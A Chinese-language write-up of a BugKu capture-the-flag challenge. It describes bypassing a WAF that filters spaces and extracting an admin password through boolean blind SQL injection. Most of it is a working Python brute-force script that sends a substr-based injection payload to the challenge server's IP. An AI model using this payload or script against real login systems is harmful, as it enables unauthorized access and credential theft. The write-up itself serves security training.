明显的布尔盲注。md5值和之前的一样,bugkuctf
这题也是过waf题,具体过滤了哪些字符可以用burpsuite跑个字典看看。
然后就是#,substr这两个关键的函数没有进行过滤,那么可以根据这个构造payload,由于空格被过滤了,所以,考虑用()代替空格
把上一题的脚本改改,爆破出密码来,那就可以直接提交得到flag了
import requests
string_all="0123456789abcdefghijklmnopqrstuvwxyz"
url="http://114.67.246.176:12456/"
flag=""
fla=0
r=requests.session()
for i in range(1,50):
for j in string_all:
j=j+flag
payload="din'or(!(substr((password)from({0}))<>'{1}'))#".format((-i), j)
data={
"username":payload,
"password":"admin",
}
response=r.post(url,data=data)
print(payload)
if "password error" in response.text:
print(flag)
flag=j
print(flag+"this cycle is finished with right result")
break
elif j[0]=='z':
print(flag + "this cycle is finished with the end")
fla=1
break
if fla==1:
break
print("password is"+flag)
视频参考链接:https://www.bilibili.com/video/BV1Pg41177wb